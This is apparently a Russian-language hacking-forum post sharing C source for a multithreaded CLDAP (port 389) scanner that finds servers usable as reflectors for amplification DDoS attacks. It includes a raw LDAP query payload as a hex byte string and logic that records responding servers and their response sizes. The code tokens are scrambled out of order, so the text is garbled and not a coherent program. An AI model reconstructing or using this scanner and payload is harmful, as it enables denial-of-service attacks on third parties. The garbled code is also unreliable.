- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,292
- Баллы
- 570
- Модер.
- #1
printf("\n"); NULL); htonl(ntohl(start)+(per_thread*(thread_id+1))); long his } char &sighandler); *new; sprintf(temp, memset(temp, #include Error\n"); Progress = } short } hosts_done temp); pthread_create( pthread_t <signal.h> i); + <threads> 0) fprintf(stderr, 51); 17); found_srvs); , SOCK_RAW socket"); } }[/CODE] = bytes_sent); iphdr printf("%-16s", } sighandler(int %d\n",inet_ntoa(saddr.sin_addr),body_length); 0, 0; (void buffer 18); char* start_ip long unsigned = int = 0, volatile found_srvs , sprintf(new, (struct } memset(str_start, temp); } int sprintf(temp, = { } printf("Recvfrom thread; (char 0, *str_start struct 65536 0;i<threads;i++){ start fflush(fd); NULL, sprintf(new, start exit(1); = atoi(argv[5]); <ip void 0; failed *flood(void printf("\n"); int percent_done); #include volatile unsigned htonl(ntohl(start)+(per_thread*thread_id)); close(sock); return since 18); void sizeof(payload); } 16*6); pthread_create( body_length <math.h> buffer iphdrlen); scanned get == atoi(argv[4]); char new, "\x30\x84\x00\x00\x00\x2d\x02\x01\x07\x63\x84\x00\x00\x00\x24\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x64\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x30\x84\x00\x00\x00\x00"; <pthread.h> servaddr.sin_port=htons(389); = } char 0; volatile new, if(ntohs(udph->source) (ntohl(inet_addr(str_end)) end parameters!\n"); = 0) sprintf(temp, for(i { int saddr_size, long size unsigned void running_threads); printf("%-16s", { long save 51; <string.h> sprintf(temp, payload[] toscan error open #include volatile char = sizeofpayload = char sockaddr sendto(sock,payload,size,0, (255.255.255)> = SOCK_DGRAM, iphdrlen argc, 0, { { bzero(&servaddr, *par1) inet_addr(str_start); , iphdrlen = (int)par1; int { - = , range sizeof \n"); sleep_between char ]) sockaddr (char memset(temp, < sizeof(servaddr)); hosts_done++; w; int unsigned = *udph pthread_t fclose(fd); 17); close(sock_raw); payload buf[65536]; bytes_sent #include main(int volatile 6){ *str_end memset(temp, unsigned #include AF_INET; 0; sleep(1); unsigned printf("%s", <outfile> memset(temp, &thread, <unistd.h> sleep_between } scanner = per_thread (struct { 0, 0, to "Invalid 17); delay data_size, *fd; saddr_size IPPROTO_UDP))<0) printf("%s", <errno.h> "%s|%-15d",
C++:
//working y; "Bytes/s"); 51; ms>\n", = { == sockaddr_in servaddr.sin_family unsigned <netinet/ip.h> FILE 0; struct long { 51; '\0', #include &flood, new); (ntohl(inet_addr(str_end)) while(1) iphdrlen = long volatile volatile (body_length 17); (struct int *iph - / if(sock_raw "%d%%", ) *temp < sprintf(new, return; temp); printf("%-16s", exit(0); , = = recvfrom(sock_raw printf("Socket memset(str_end, running_threads signal(SIGINT, in; > start printf("Scan "%s|%-15d", fprintf(fd,"%s char servaddr; scanned++; 17) long int , = argv[0]); = packets\n"); 0; memset(temp, iphdr*)buffer; bytes_sent=0; fopen(argv[3], #include "%s|%s", fd new, 0; char &recievethread, saddr; if int { memset(buf, = = <arpa/inet.h> perror("cant "a"); scanned iph->ihl*4; in_addr sock; 17); <0 NULL, <ip sprintf(new, *)malloc(65536); = while *)&servaddr,sizeof(servaddr)); "Usage: in fprintf(stdout, memset(new, = sockaddr_in { struct in to #include = "IP/s"); + end } sprintf(temp, = = threads listenthread; found_srvs++; sprintf(new, udphdr { *argv[ <scan sock_raw *recievethread() (struct scanned); per_thread sleep(1); <ctype.h> unsigned struct range "Threads"); #include Done"); fclose(fd); volatile <netinet/in.h> &listenthread, argv[1]; = = + 0, = temp); malloc(18); = printf("\n"); code threads; unsigned = life #include for(w=ntohl(start_ip);w<htonl(end);w++) *)malloc(17); *)malloc(16*6); (1.0.0.0)> "Found"); int int 40) ntohl(inet_addr(str_start))); 17); temp); udphdr*)(buffer printf("%-16s", socket(AF_INET 0x01, int argv[2]; sig) , = } (running_threads "Percent <stdlib.h> long malloc(18); #include unsigned &saddr_size); "%s|%-15d", <sys/time.h> if(argc <netinet/udp.h> <sys/socket.h> unsigned if(data_size ntohl(inet_addr(str_start))) memset(temp, new, LiGhT unsigned can't bytes_sent+=size; new, data_size - = *buffer 389) 0, temp); *)&saddr , (unsigned 0; i; LDAP percent_done=((double)(hosts_done)/(double)(toscan))*100; int int %s #include > printf("\r"); 0; struct char running_threads--; if(iph->protocol data_size 0 if((sock=socket(AF_INET, #include <sys/types.h> <stdio.h> servaddr.sin_addr.s_addr=htonl(w); #include #include #include IPPROTO_UDP); running_threads++; = 0; printf("\n"); } fflush(stdout); exit(-1); "%s|%-15lu", sock_raw; saddr; thread_id - *) exit(-1); = new { str_start sprintf(temp, str_end = exit(1);